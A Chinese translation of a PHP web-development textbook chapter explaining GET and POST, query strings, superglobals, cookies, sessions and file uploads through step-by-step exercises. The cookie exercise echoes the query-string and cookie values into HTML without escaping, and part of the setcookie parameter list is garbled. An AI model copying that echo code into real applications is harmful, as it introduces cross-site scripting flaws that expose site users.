图 6.6 通过 GET HTTP 方法发送登录凭据

图 6.6 通过 GET HTTP 方法发送登录凭据

这只是说明这种方法在发送敏感信息时很糟糕的一个例子。更好的方法是使用 POST 方法发送您不希望存储在浏览器历史记录中的数据;这些数据可能包括登录凭据、更新您的个人(或任何)详细信息、文件上传和问卷调查。相反,在需要过滤和排序的页面列表中使用 GET 方法是合适的。因此,将过滤和排序参数放在 URL 的查询字符串组件中是合适的,这样当我们标记或分享 URL 时,您可以在稍后或从另一个浏览器或位置访问 URL 时获得相同的过滤和排序项。

POST HTTP 请求

POST请求用于在服务器上创建、修改和/或删除资源。这是因为POST请求有一个主体,而不仅仅是头部。因此,你可以向/some/uri发送POST请求并在请求主体中发送数据,有两种方式:默认情况下,作为 URL 编码的参数(application/x-www-form-urlencoded enctype);或者作为多部分表单数据(multipart/form-data enctype)。这两种方法之间的区别基于发送到服务器的数据类型。因此,当你想要上传图片、PDF 文档或其他文件时,你会使用多部分表单数据;否则,URL 编码的数据就足够了。

从 HTML 发送多部分表单数据时,只需将enctype属性添加到form元素中,如下面的代码片段所示:

<form method="post" enctype="multipart/form-data">
    <input type="file" name="myfile" >
    <input type="submit" value="Upload">
</form>

此外,浏览器将设置适当的Content-Type请求头,如下所示:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS8mb

在这里使用的边界术语用于指定发送内容分隔符,最好是一个随机非字典字符串,它不太可能出现在发送的有效载荷中。在使用浏览器中的 HTML 表单时,你不必关心这个参数,因为它的值是由浏览器自动生成和设置的。

相反,当你只想发送一些映射的文本数据,而不进行上传时,你可以使用application/x-www-form-urlencoded作为enctype属性,当enctype属性缺失时,它被设置为默认值,如下面的代码片段所示:

<form method="post" enctype="application/x-www-form-urlencoded">
    <input type="text" name="nickname">
    <input type="submit" value="Save">
</form>

URL 编码的表单使用命令行工具,如curl发送非常简单。

上述form元素的示例命令如下所示:

curl 'http://127.0.0.1:8080/form-url-encoded.php' -H 'Content-Type: application/x-www-form-urlencoded' --data 'nickname=Alex' 

这假设127.0.0.1:8080是我们服务器监听的位置,而form-url-encoded.php是处理请求的 PHP 文件。

  • 在注册、订阅通讯录和内容搜索表单的情况下,应该使用哪种方法?为什么?

  • 使用POSTGET方法提交form有哪些其他用例?(例如,发表评论、评分产品、分页等。)

一些服务器将查询字符串长度限制为 1,024 个字符;例如,在Internet Information ServerIIS)的情况下。这个限制可以在任何服务器上配置,但在日常使用中,你不太可能遇到这样的问题。与GET方法不同,使用POST,你发送 HTTP 请求的数据没有限制。目前,PHP 中每个请求的POST有效载荷默认限制为 8 MB,可以在设置中随意增加。

查询字符串

查询字符串是 URL 的一部分,包含以键值对形式描述的数据。每个键值对由与符号(&)分隔,而 URL 路径与其查询字符串之间的分隔符是一个问号(?)。

作为一个例子,我们将使用以下虚构的 URL:

www.bookstore.com/books/?category=Comics&page=2

在这里,查询字符串是category=Comics&page=2,参数是categorypage,分别对应Comics2的值。值得注意的是,可以存储数据的参数随后被解析为值的数组。例如,给定/filter?tags[]=comics&tags[]=recent URI,标签查询字符串参数将产生一个包含两个值——comicsrecent的数组。

查询字符串主要用于访问服务器上的资源,而不是作为创建、更新或删除的指令。因此,当没有其他上下文干扰(如登录用户偏好、访客位置或其他)时,带有查询字符串的 URL 在任何浏览器中都会列出相同的结果。看看您在最喜欢的搜索引擎中进行搜索后 URL 看起来像什么。

注意

developer.mozilla.org/en-US/docs/Glossary/HTTP了解更多关于 HTTP 的信息。

packt.live/33p2o8ypackt.live/2BcUNxL了解更多关于 URL 的信息。

packt.live/31fFtey了解更多关于查询字符串的信息。

PHP 超全局变量

PHP 引擎使用一组可在 PHP 脚本中的任何位置访问的内置变量,称为超全局变量。这些超全局变量包含的数据大多与请求相关,但也包含一些服务器信息和正在运行的 PHP 脚本文件信息。

最常用的超全局变量是$_SERVER$_SESSION$_GET$_POST$_COOKIE$_FILES变量。

良好的实践是在整个项目中不要随意修改超全局变量,这意味着最好不要修改现有数据,也不要从这些变量中添加或删除数据。理想情况下,您应该只在每个请求中访问一次。$_SESSION是这方面的一个例外,因为其数据由应用程序提供,而不是由 PHP 引擎提供。

您可以通过访问官方 PHP 文档页面深入了解超全局变量,页面地址为php.net/manual/en/language.variables.superglobals.php

$_SERVER

$_SERVER 超全局变量包含请求头、服务器信息、路径、环境变量以及由网络服务器设置的其他数据。简而言之,请求头的名称被转换为大写,-(破折号)被替换为_(下划线),并在前面添加HTTP_(例如,User-Agent头名称变为HTTP_USER_AGENT)。请求的信息字段名称(如 URI 和方法)前面加上REQUEST_前缀,等等。$_SERVER超全局变量中的大多数名称都在CGI/1.1 规范中有说明。

练习 6.1:输出$_SERVER 数据

在以下练习中,我们将向浏览器中转储每个 HTTP 请求的$_SERVER数据,并识别 Web 应用程序使用的键数据。在我们继续之前,请创建一个目录并使用终端导航到该新目录。所有创建的文件都将保存在此目录中;例如,假设创建的目录是/app

注意

为了向 PHP 脚本发送 HTTP 请求(即通过浏览器访问脚本),你需要启动内置的 PHP 开发服务器。为此,请在/app工作目录中运行启动开发服务器的命令:php -S 127.0.0.1。为了进行接下来的练习,请保持服务器运行。

  1. 创建一个名为super-server.php的 PHP 文件,并写入以下代码:

    <?php echo sprintf("<pre>%s</pre>", print_r($_SERVER, true)); 
    
  2. 通过内置服务器访问文件,在http://127.0.0.1:8080/super-server.php/my-path?my=query-string

    输出应该看起来像以下这样:

    ![图 6.7 浏览器窗口中的服务器数据 图 C14196_06_07.jpg

    图 6.7 浏览器窗口中的服务器数据

  3. 使用以下命令在终端中运行super-server.php文件:

    php super-server.php
    

    输出应该看起来像以下这样:

图 6.8 终端中的服务器数据

图 6.8 终端中的服务器数据

在由WWW(由于 URL 访问而运行)调用的脚本中,常用的输入有REQUEST_URIREQUEST_METHODPATH_INFOREMOTE_ADDR,这是发送请求的客户端的网络地址(或者在运行你的应用程序在负载均衡器或反向代理后面时,例如,使用HTTP_X_FORWARDED_FOR);以及HTTP_USER_AGENT

在前面的脚本中,你会注意到/my-path路径在PATH_INFO中解析,而查询字符串在QUERY_STRING中,整个 URI 在REQUEST_URI中可用。这些是用于将请求路由到 Web 应用程序中适当的 PHP 脚本,以便脚本可以处理它们并生成响应的输入。

在命令行脚本(在终端中运行或在系统特定间隔内计划运行)的情况下,最常用的$_SERVER输入是argvargc,以及REQUEST_TIMEREQUEST_TIME_FLOAT,以及PWDargv是传递给 PHP 可执行程序的参数值列表。

第一个参数(位置零)是要执行的文件(或静态语句,标准输入代码,在运行内联 PHP 代码的情况下;例如,php -r 'print_r($_SERVER);')。现在,argc是输入参数的计数。REQUEST_TIMEREQUEST_TIME_FLOAT代表脚本开始执行的时间,用于日志记录或各种基准测试。PWD是当前工作目录,在脚本应该相对于磁盘上的当前位置执行操作时很有用,例如打开文件或保存到当前目录中的文件。

与从浏览器发出的请求不同,在命令行界面运行时,$_SERVER 变量包含的数据要少得多。没有更多的 HTTP_* 条目和 SERVER_* 条目,因为请求不再是通过 HTTP 进行;QUERY_STRINGREQUEST_METHOD 等其他内容也缺失。

$_COOKIE 超全局变量包含在浏览器中存储的所有 cookie 数据(当浏览器是 HTTP 客户端时),由同一主机通过响应头或 JavaScript 存储。由于 HTTP 请求是无状态的 – 意味着它们是独立且相互无关的 – 使用 cookie 是跟踪 Web 应用程序中用户会话的绝佳方式,同时也为每位访客提供定制体验。想想与广告偏好设置相关的设置,跟踪来自多个来源的转换的参考代码,以及其他。Cookies 是不可见的数据;也就是说,它们不会出现在 URL 中,也不会由 HTML 表单的提交按钮触发。它们由应用程序在浏览器中设置,并且浏览器会在每个 HTTP 请求中发送它们。Cookies 对浏览器用户是可见的,更重要的是,用户可以删除它们 – 这是一个应用程序必须处理的事实。

可以使用 PHP 内置函数 setcookie() 存储 cookie,我们可以在后续的 HTTP 请求中从 $_COOKIE 超全局变量中获取这些键值对。要设置一个 cookie,只需调用 setcookie("cookie_name", "cookie_value"),其值将存储到浏览器关闭为止。或者,为了使 cookie 的寿命超过浏览器会话,必须在函数的第三个参数中指定 cookie 的过期时间,作为一个 Unix 时间戳。例如,要允许 cookie 持续两天,可以调用 setcookie("cookie_name", "cookie_value", time()+60*60*24*2)

setcookie() 函数接受一个 cookie 名称作为第一个参数,cookie 值作为第二个参数,Unix 时间(以秒为单位)作为过期时间的第三个参数。

语法如下:

setcookie(
  string $name, string $value = "", int $expires = 0, string $path = "",
  string $domain = "", bool $secure = FALSE, bool $httponly = FALSE
): bool
// or
setcookie(string $name, string $value = "", array $options = []) : bool

参数如下:

  • name:cookie 的名称。

  • value:cookie 值;这是可选的。

  • expires:过期时间,作为一个时间戳 – 这是可选的;如果省略,cookie 将在浏览器关闭后删除。

  • /tech(这是可选的)。

  • domain:cookie 可用的(子)域名。在当前域名中设置的 cookie 将可用于当前域的任何子域名;这是一个可选参数。

  • secure:这表示 cookie 仅通过 HTTPS 请求(即安全请求)设置和传输;这是可选的。

  • httponly:这表示 cookie 仅对 HTTP 请求可用;在客户端的脚本语言(如 JavaScript)中不可用(即浏览器)。这是一个可选参数。

  • expirespathdomainsecurehttponlysamesite键。这些值的含义与同名的参数相同。samesite元素的值应该是LaxStrict。此参数是可选的。

    注意

    关于setcookie()函数的完整 API,请访问packt.live/2MI81YC

在以下练习中,你将设置一个 cookie,然后使用 HTML 表单发送数据,在 PHP 脚本中读取它。

执行此练习的步骤如下:

  1. 创建一个名为super-cookie.php的文件。

  2. 将推荐代码存储在 cookie 中,以便我们可以在以后读取它(例如,在注册时,以了解谁将此用户推荐给我们)。此代码如下:

    if (array_key_exists('refcode', $_GET)) {
    // store for 30 days
        setcookie('ref', $_GET['refcode'], time() + 60 * 60 * 24 * 30); 
    } else {
        echo sprintf('<p>No referral code was set in query string.</p>');
    }
    

    在这里,要存储的 cookie 值将从refcode查询字符串参数中读取:/?refcode=etc。因此,对于每个请求,我们都需要在$_GET变量中检查此条目,如果找到,则保存具有 30 天生命期的 cookie;否则,只需打印查询字符串中没有设置推荐代码。cookie 名称是用户定义的,在这里我们将其命名为ref

    注意

    我们使用time()函数获取当前的 Unix 时间,以秒为单位。因此,对于当前时间,我们应该加上 60(秒)乘以 60(分钟)乘以 24(小时)乘以 30(天),以便 cookie 在 30 天后过期。

  3. 此外,在存储 cookie 时,我们可能还想知道保存了什么代码,并包括一个指向同一脚本的链接(不带查询字符串),以避免在页面刷新时存储 cookie。执行此操作的代码如下:

    if (array_key_exists('refcode', $_GET)) {
    // store for 30 days
        setcookie('ref', $_GET['refcode'], time() + 60 * 60 * 24 * 30);
        echo sprintf('<p>The referral code [%s] was stored in a cookie. ' .
            'Reload the page to see the cookie value above. ' .
            '<a href="super-cookie.php">Clear the query string</a>.</p>',           $_GET['refcode']);
    } else {
        echo sprintf('<p>No referral code was set in query string.</p>');
    }
    
  4. 接下来,编写代码以打印存储在浏览器中并通过 HTTP 请求发送到脚本的 cookie 值。为此,我们必须读取$_COOKIE变量。如果不存在ref条目,则显示-NONE-。执行此操作的代码如下:

    echo sprintf(
        '<p>Referral code (sent by browser as cookie): [%s]</p>',       array_key_exists('ref', $_COOKIE) ? $_COOKIE['ref'] : '-None-'
    );
    

    注意

    当第一次保存 cookie 时,我们也会得到-None-,因为 cookie 是在请求-响应周期完成后保存的,在这种情况下,请求没有refcookie(即它尚未在浏览器中),但有refcode查询字符串参数,这使得脚本在响应中设置refcookie 值(然后它将被浏览器保存)。

  5. 此外,为了便于发送不同的推荐代码进行测试,让我们使用类型为GET的表单,使用具有refcode名称的输入(它将在表单提交时出现在查询字符串中)和EVENT19默认值:

    <form action="super-cookie.php" method="get">
        <input type="text" name="refcode" placeholder="EVENT19" value="EVENT19">
        <input type="submit" value="Apply referral code">
    </form>
    

    注意

    当在 HTML form元素中没有指定方法时,默认值是GET

    如此例所示,要在同一文件中使用 PHP 脚本和 HTML,我们需要在<?php?>标记之间包含 PHP 脚本。

    注意

    你可以在packt.live/2IMViTs找到完整的代码。

  6. 通过内置服务器访问文件,地址为http://127.0.0.1:8080/super-cookie.php

    输出应该看起来像这样:

    图 6.9 首次访问 super-cookie.php 时的输出

    图 6.9 首次访问 super-cookie.php 时的输出

  7. 点击“应用推荐代码”按钮,注意新页面的内容,它应该看起来像这样:

    图 6.10:提交表单后 super-cookie.php 的输出

    在这个阶段,通过点击“应用推荐代码”按钮,表单数据已经被序列化为 URL 查询格式(参考前面图表中的refcode=EVENT19部分)。访问表单目标 URL 使脚本从查询字符串中读取数据,并使用提供的EVENT19值设置 cookie。

  8. 点击“清除查询字符串”,你会看到脚本能够解析并显示 cookie 数据。现在输出应显示在上一步骤中设置的 cookie 值:

图 6.11:随后的请求中 super-cookie.php 的输出

图 6.11:随后的请求中 super-cookie.php 的输出

在 Chrome DevTools 窗口中显示 cookie 值。

图 6.12 在 Chrome DevTools 窗口中显示的 ref cookie 值。

图 6.12 在 Chrome DevTools 窗口中显示的 ref cookie 值。

现在 URL 中不包含查询字符串,这意味着我们的脚本没有要处理的内容。由于在之前的请求中设置了 cookie 数据,因此它将通过 HTTP 请求发送,并在浏览器页面上显示。

$_SESSION

$_SESSION 与 HTTP 请求无关,但它是一个非常重要的变量,因为它保存了用户的状态数据;也就是说,在随后的请求中保持某些数据。与 cookies 相比,会话数据存储在服务器上;因此,数据不能被客户端访问。会话数据用于存储已登录用户数据(至少是 ID)和临时数据(如闪存消息、CSRF 令牌、购物车项目等)。

要在会话中存储一个条目,只需将其添加到$_SESSION超级全局关联数组中即可,如下所示:$_SESSION['user_id'] = 123;

默认情况下,PHP 不会自动启动会话,这意味着它不会生成会话 ID,也不会设置包含会话 ID 值的 cookie 头。因此,你必须调用session_start()来初始化会话。然后 PHP 将尝试从Cookie请求头中加载存储在PHPSESSID变量(默认名称)中的会话 ID,如果不存在这样的条目名称,则将启动一个新的会话,并将会话 ID 发送回客户端,作为当前响应头的一部分。

练习 6.3:从会话中写入和读取数据

在这个练习中,我们将实现会话初始化,并从会话中写入和读取数据。如果会话是第一次打开,那么我们将保存随机数据以检查会话是否为后续请求保留保存的数据。随机数据将保存在$_SESSION变量的name键中。以下是执行练习的步骤:

  1. 创建一个名为session.php的文件。

  2. 编写代码以启动会话,并在session_start()函数不返回TRUE时显示Cannot start the session字符串:

    if (!session_start()) {
        echo 'Cannot start the session.';
        return;
    }
    

    要在 PHP 中使用会话,您需要启动会话。这将执行一系列操作,例如生成会话 ID、创建用于存储数据的会话文件或连接到数据提供者服务,具体取决于ini文件的设置。如果会话无法启动,则没有继续的理由,因此我们将显示错误消息并停止脚本执行。

    如果会话已启动,我们可能希望获取会话名称——这是 ID 在 cookie 中保存的名称。默认会话名称是PHPSESSID

  3. 编写代码以获取会话名称:

    $sessionName = session_name(); // PHPSESSID by default
    
  4. 如果会话尚未初始化(即没有包含PHPSESSID变量的 cookie),我们可能希望使用以下代码通知用户:

    echo sprintf('<p>The cookie with session name [%s] does not exist.</p>',   $sessionName);
    
  5. 此外,使用以下代码打印出保存在$sessionNamecookie 条目下的新鲜会话 ID:

    echo sprintf(
        '<p>A new cookie will be set for session name [%s], with value [%s]      </p>',
        $sessionName,
        session_id()
    );
    

    session_id()函数返回属于访问页面的用户的当前会话 ID。它在每次调用session_start()时生成,同时,在 HTTP 请求中找不到包含会话 ID 的 cookie。

    注意

    我们不需要使用函数来设置包含生成的会话 ID 的 cookie。这会在调用session_start()时自动完成。

    使用rand()函数从索引数组中选择随机值应该很简单。rand()将返回一个介于给定最小值和最大值之间的随机数。在我们的例子中,对于数组中的三个值,我们需要一个介于 0 和 2 之间的索引。

  6. 使用以下代码在会话中存储随机条目,使用name键:

    $names = [
        "A-Bomb (HAS)",
        "Captain America",
        "Black Panther",
    ];
    $chosen = $names[rand(0, 2)];
    $_SESSION['name'] = $chosen;
    
  7. 打印一条消息,让我们知道会话中保存的值和发送到浏览器的头信息(以查看保存会话 ID 的Set-Cookie头信息):

    echo sprintf('<p>The name [%s] was picked and stored in current session.  </p>', $chosen);
    echo sprintf('List of headers to send in response: <pre>%s</pre>',   implode("\n", headers_list()));
    
  8. 我们已经看到了当会话尚未初始化时应该做什么。现在,如果会话已经初始化,我们将打印会话名称和会话 ID(来自请求 cookie 的值),并且我们还将转储会话数据:

    echo sprintf('<p>The cookie with session name [%s] and value [%s] ' .
        'is set in browser, and sent to script.</p>', $sessionName,       $_COOKIE[$sessionName]);
    echo sprintf('<p>The current session has the following data:   <pre>%s</pre></p>', var_export($_SESSION, true));
    

    注意

    一旦初始化会话,后续的每个请求都将显示相同的数据,并且用户会话数据中执行的所有更改也将反映在后续请求中。会话数据可以被视为用户的存储单元,就像 cookies 一样,但位于服务器端 – 客户端和服务器之间的链接是通过会话 ID 实现的。

    整个脚本文件可以在packt.live/31gZKAe中查阅。

  9. 通过内置服务器访问文件http://127.0.0.1:8080/session.php

    首次输出将如下所示:

    图 6.13:首次访问 session.php – 初始化新的会话和设置 cookie

    图 6.13:首次访问 session.php – 初始化新的会话和设置 cookie

    cookie 的值如下所示:

    图 6.14:在访问/session.php 页面后 Chrome DevTools 中的 cookie 值

    图 6.14:在访问/session.php 页面后 Chrome DevTools 中的 cookie 值

  10. 刷新页面;输出应该如下所示:图 6.15:后续访问 session.php – 使用 cookie 中的 ID 恢复会话数据

    图 6.15:后续访问 session.php – 使用 cookie 中的 ID 恢复会话数据

    注意

    由于$names数组中的值是随机选择的,所以看到的值可能是三种可能值之一

  11. 清除当前页面的 cookies 并重新加载页面。请注意,如果没有已经设置的PHPSESSID cookie,将生成并设置一个新的会话 ID。

    下面是对脚本的解释:首先,脚本将尝试启动会话,并会在 cookie 中查找会话 ID。接下来,脚本将检查是否存在这样的 cookie,使用session_name()函数获取会话使用的名称,然后从中存储和检索会话 ID。如果找到具有该名称的 cookie,则其值将被打印,同时也会打印会话数据。否则,它将通知你生成的会话 ID,并将其设置为存储在 cookie 中,并从当前会话中随机选择一个字符名称进行存储。此外,还会打印出要发送到响应中的头部列表,以确保发送了(会话)set-cookie 头部。

    注意

    packt.live/31x8MJC了解更多关于会话函数的信息。

$_GET

$_GET 包含请求 URI 的解析后的查询字符串,无论请求方法如何。因此,一个如 /?page=2 的 URI 将导致以下 $_GET 值:["page" => 2]。PHP 可以将查询字符串解析为嵌套数组,因此一个如 tags[]=heroes&tags[]=2019 的查询字符串将导致 $_GET 的值,例如 [ "tags" => [ 0 => "heroes", 1 => "2019" ] ],将标签解析为数值数组。您可以使用查询字符串将其解析为关联数组;只需在方括号之间放置名称。例如,filter[category]=heroes&filter[year]=2019 将被解析为 [ "filter" => [ "category"=> "heroes", "year"=> "2019" ] ]

练习 6.4:在网页中使用查询字符串

在这个练习中,我们将构建 HTTP 查询字符串,在网页链接中使用它们,并使用查询字符串数据。更确切地说,您将使用 $_GET 从列表中选择并显示特定的数据条目。

完成练习的步骤如下:

  1. 创建一个名为 super-get-href.php 的文件,并在关联数组中定义一系列值,其中键是条目 ID,值是嵌套的关联数组,包含 idname 键:

    // define the data
    $heroes = [
        "a-bomb" => [
            "id" => 1017100,
            "name" => "A-Bomb (HAS)",
        ],
        "captain-america" => [
            "id" => 1009220,
            "name" => "Captain America",
        ],
        "black-panther" => [
            "id" => 1009187,
            "name" => "Black Panther",
        ],
    ];
    

    我们需要查询字符串来指出脚本应该选择哪个条目,所以让我们假设我们正在查询字符串中寻找的值位于 hero 名称下。因此,要获取角色 ID,$heroId = $_GET['hero']; 这个名称就能解决问题。然后,从我们的 $heroes 列表中选择角色条目应如下所示:$selectedHero = $heroes[$heroId];。在这里,$selectedHero 是条目,例如当 $heroIdblack-panther 时,它类似于 ["id" => 1009187, "name" => "Black Panther"]

  2. 添加 $selectedHero 变量的初始化并检查 $_GET 中是否存在 hero 条目;代码应如下所示:

    $selectedHero = [];
    if (array_key_exists('hero', $_GET)) {
        if (array_key_exists($_GET['hero'], $heroes)) {
            $heroId = $_GET['hero'];
            $selectedHero = $heroes[$heroId];
        }
    }
    
  3. 在我们显示角色数据之前,我们将检查 $selectedHero 变量是否有值。如果 $selectedHero 中找不到值,这意味着查询字符串参数中没有指定 hero,或者该值不在 $heroes 键列表中;因此,我们可以显示一个简单的 None

    <div style="background: #eee">
        <p>Selected hero:</p>
        <?php if ($selectedHero) { ?>
            <h3><?= $selectedHero['name'] ?></h3>
            <h4>ID: <?= $selectedHero['id'] ?></h4>
        <?php } else { ?>
            <p>None.</p>
        <?php } ?>
    </div>
    
  4. 为了调试目的,我们可能想要转储 $_GET 值。我们可以使用 var_export 来做这件事:

    <p>The value of $_GET is:</p>
    <pre><?= var_export($_GET, true); ?></pre>
    
  5. 现在,在页面上添加一些链接将非常有用,每个 $heroes 条目一个,以包含 hero 查询字符串参数。我们可以将构建链接所需的代码添加到一个函数中,以避免在同一个脚本中反复重复相同的逻辑。让我们称这个函数为 path(),并允许它接受一个关联数组,该数组将用于构建 URL 的查询字符串部分。我们将使用内置的 http_build_query() 函数根据输入数据生成查询字符串;例如,['name' => 'john'] 将生成 name=john 查询字符串。这将附加到脚本文件名(在我们的例子中,这是 super-get-href.php):

    function path(array $queryData)
    {
        return sprintf('./super-get-href.php?%s', http_build_      query($queryData));
    }
    
  6. 要创建 HTML 链接,我们需要遍历$heroes数组并为每个字符渲染一个<a>元素,使用path()函数生成href属性值。由于我们正在查找$_GET['hero']以获取角色 ID,因此path()函数的参数应该是['hero' => $heroId]。所有链接都将收集在$heroLinks变量中:

    $heroLinks = [];
    foreach ($heroes as $heroId => $heroData) {
        $heroLinks[] = sprintf('<a href="%s">%s</a>',       path(['hero' => $heroId]), $heroData['name']);
    }
    
  7. 要打印链接,使用双斜杠(//)分隔符,我们可以使用implode()数组函数通过分隔符连接所有条目:

    echo sprintf('<p>%s</p>', implode(' // ', $heroLinks));
    

    注意

    我们将在脚本文件顶部分组 PHP 逻辑,并在其下方放置 HTML 标记。你可以参考完整的文件packt.live/35xfmDd

  8. 现在通过内置服务器在http://127.0.0.1:8080/super-get-href.php中通过浏览器访问该文件。

    作为输出,在第一行,您将看到带有角色名称的链接,下面将找到$_GET超全局变量的值,它是一个空数组:

    图 6.16:不使用查询字符串参数访问 super-get-href.php 脚本

    图 6.16:不使用查询字符串参数访问 super-get-href.php 脚本

  9. 现在您可以随意点击链接,并观察 URL 和$_GET变量的值发生了什么。例如,点击“黑豹”链接,您会注意到http://127.0.0.1:8080/super-get-href.php?hero=black-panther URL,内容看起来像这样:

图 6.17:点击“黑豹”链接后显示的页面

图 6.17:点击“黑豹”链接后显示的页面

$_POST

$_POST携带POST请求数据(即 URL 编码或 multipart 表单数据)。它与查询字符串相同;例如,当reset=allPOST有效负载中发送时,echo $_POST['reset']的输出将是all

POST数据是通过 HTML 表单从浏览器发送的。POST方法通常用于在应用程序中更改数据,无论是创建、更新还是删除数据;移动数据;触发远程操作;或者更改会话状态,仅举几例。

练习 6.5:发送和读取 POST 数据

在这个练习中,你将使用 HTML 表单发送POST数据,并在 PHP 脚本中管理这些数据。遵循之前的示例,让我们保持$heroes变量中的相同数据;然而,我们不会使用链接,而是使用表单通过POST方法发送数据。

完成练习的以下步骤:

  1. 创建一个名为super-post-form.php的文件,并包含以下内容。

  2. 就像在之前的练习中一样,我们将定义一个包含三个条目的关联数组,字符的 URI 友好 ID 作为数组键,字符数据(也是关联数组)作为值。将以下数据添加到$heroes变量中:

    // define the data
    $heroes = [
        "a-bomb" => [
            "id" => 1017100,
            "name" => "A-Bomb (HAS)",
        ],
        "captain-america" => [
            "id" => 1009220,
            "name" => "Captain America",
        ],
        "black-panther" => [
            "id" => 1009187,
            "name" => "Black Panther",
        ],
    ];
    
  3. 选择角色条目的方式与之前的示例相同,不同之处在于我们现在正在查看 $_POST 超全局变量,而不是之前练习中的 $_GET 方法:

    $selectedHero = [];
    // process the post request, if any
    if (array_key_exists('hero', $_POST)) {
        if (array_key_exists($_POST['hero'], $heroes)) {
            $heroId = $_POST['hero'];
            $selectedHero = $heroes[$heroId];
        }
    }
    
  4. 要显示选定的角色,我们将保持与之前练习相同的格式和逻辑:

    <div style="background: #eee">
        <p>Selected hero:</p>
        <?php if ($selectedHero) { ?>
            <h3><?= $selectedHero['name'] ?></h3>
            <h4>ID: <?= $selectedHero['id'] ?></h4>
        <?php } else { ?>
            <p>None.</p>
        <?php } ?>
    </div>
    
  5. 此外,出于调试目的,我们将输出 $_POST 的值:

    <p>The value of $_POST is:</p>
    <pre><?= var_export($_POST, true); ?></pre>
    
  6. 要使用 POST 方法结束数据,我们将使用一个包含 <select> 元素的 <form> 元素。<select> 元素将包含具有字符 ID 作为值和字符名称作为标签的 <option>

    <form action="./super-post-form.php" method="post"   enctype="application/x-www-form-urlencoded">
        <label for="hero_select">Select your hero: </label>
        <select name="hero" id="hero_select">
            <?php foreach ($heroes as $heroId => $heroData) { ?>
                <option value="<?= $heroId ?>"><?= $heroData['name'] ?>              </option>
            <?php } ?>
        </select>
        <input type="submit" value="Show">
    </form>
    
  7. 在浏览器中打开文件 http://127.0.0.1:8080/super-post-form.php

    输出应如下所示:

    图 6.18:首次访问 super-post-form.php 脚本

    图 6.18:首次访问 super-post-form.php 脚本

  8. <select> 元素中选择 Captain America 项目,然后点击 Show 按钮。

    输出现在如下所示:

图 6.19:提交表单后显示 super-post-form.php 脚本的结果

图 6.19:提交表单后显示 super-post-form.php 脚本的结果

注意页面上的新内容,并查看 URL - 由于数据在 HTTP 请求体中发送,因此不再有查询字符串。正如你可能注意到的,这与 $_GET 变量相同 - 它只是输入源不同。此外,请注意 <select> 元素显示的是 A-Bomb (HAS) 值;这是因为没有设置 selected 属性的 <option>,因此 <select> 元素默认将第一个选项作为选中选项。

$_FILES

$_FILES 超全局变量包含上传尝试的数据,这意味着如果相关数据出现在此变量中,则上传不被视为成功。失败尝试的原因多种多样,可以在官方 PHP 文档页面上找到原因列表(或上传状态)(packt.live/32hXhH2)。所有上传的文件都存储在临时位置,直到应用程序脚本将它们移动到持久存储。$_FILES 是一个关联数组,其形式为输入名称作为条目键,上传信息作为条目值。上传信息是另一个关联数组,具有以下字段:nametmp_nametypesizeerror

name 字段将包含与请求一起发送的文件的基名;tmp_name 将包含上传文件的临时位置(以便你的脚本将其移动到适当的位置);type 将包含客户端在相同请求中发送的文件媒体类型(MIME 类型);size 将是字节数;error 将包含有关上传状态的信息。请注意,type 键中指定的媒体类型不是文件扩展名,它在操作系统的文件系统中出现

警告

作为一种良好的实践,建议您使用内置函数或其他适当的工具来检测文件的 MIME 类型;因此,不要信任用户输入——始终进行测试。默认情况下,上传文件大小限制为 2 MB,POST 负载限制为 8 MB(对于整个请求)。

练习 6.6:上传文件并验证其类型

在这个练习中,我们将上传一个图像,通过检测其 MIME 类型来验证上传的文件,然后将在浏览器中显示成功上传的图像。

这里是执行练习的步骤:

  1. 创建一个名为 super-post-upload.php 的文件。

    在我们尝试上传文件之前,我们应该定义上传位置、目标文件路径,以及为了能够在浏览器中显示它,文件的相对路径到服务器文档根目录(在我们的情况下,文档根是脚本文件运行所在的目录)。

  2. 我们将使用一个静态文件名作为上传目标,这样我们就可以保存和显示单个图像,而不是它们的列表:

    $uploadsDir = __DIR__ . DIRECTORY_SEPARATOR . 'uploads';
    $targetFilename = $uploadsDir . DIRECTORY_SEPARATOR . 'my-image.png';
    $relativeFilename = substr($targetFilename, strlen(__DIR__));
    

    $relativeFilename 相对文件路径,与目标文件路径不同,不是磁盘上的完整文件路径;它只是相对于当前目录(即服务器文档根目录,脚本运行的位置)的路径。为了实现这一点,我们使用内置的 substr() 函数从目标文件路径中减去字符串,从 strlen(__DIR__) 位置开始,意味着从目标文件路径到当前目录的部分将被剪切。

  3. 确保 $uploadsDir 是磁盘上的有效路径;如果不存在,则创建 uploads 目录。

  4. 由于上传的文件(或上传尝试)存储在 $_FILES 变量中,我们将检查其中的监视条目。假设我们期望在 uploadFile 输入名称下有一个文件;然后,我们可以使用 array_key_exists('uploadFile', $_FILES) 来执行检查。最终,$_FILES['uploadFile'] 的值将被存储在 $uploadInfo 变量中,以便更方便地处理上传文件信息:

    if (array_key_exists('uploadFile', $_FILES)) {
        $uploadInfo = $_FILES['uploadFile'];
    
  5. 接下来,我们想要确保上传已成功完成。上传状态存储在之前提到的 error 条目中,因此我们可能想要使用 switch 语句跳转到上传的状态,使用 UPLOAD_ERR_* 常量作为 case 值。switch 语句的开始应该看起来像这样:

        switch ($uploadInfo['error']) {
            case UPLOAD_ERR_OK:
    
  6. 在上传成功的情况下,我们应该验证输入数据。我们最关心的是服务器从客户端获取的内容的 MIME 类型,为了检查它是否是预期的类型,我们使用内置的 mime_content_type() 函数。假设我们只允许上传 PNG 图像,如下所示:

    mime_content_type($uploadInfo['tmp_name']); // we expect 'image/png'
    
  7. 验证通过后,我们应该将文件从临时位置移动到我们之前定义的 $targetFilename 目的地,我们将使用 move_uploaded_file() 函数来完成这个操作。该函数将上传文件的临时路径作为第一个参数,目标作为第二个参数。如果成功,它将返回 TRUE

    move_uploaded_file($uploadInfo['tmp_name'], $targetFilename);
    

    警告

    由于安全影响,避免使用 rename() 文件系统函数进行此操作。在此上下文中,move_uploaded_file() 要好得多,因为它只有在要移动的文件是当前请求中上传的文件时才会继续执行。

  8. 我们将添加超出文件大小(UPLOAD_ERR_INI_SIZE)和缺少文件(UPLOAD_ERR_NO_FILE)进行上传操作的情况,并为每种情况打印自定义的错误信息:

    case UPLOAD_ERR_INI_SIZE:
        echo sprintf('Failed to upload [%s]: the file is too big.',       $uploadInfo['name']);
        break;
    case UPLOAD_ERR_NO_FILE:
        echo 'No file was uploaded.';
        break;
    
  9. 对于其他状态类型,让我们添加一个通用消息来显示错误代码:

    default:
        echo sprintf('Failed to upload [%s]: error code [%d].',       $uploadInfo['name'], $uploadInfo['error']);
        break;
    
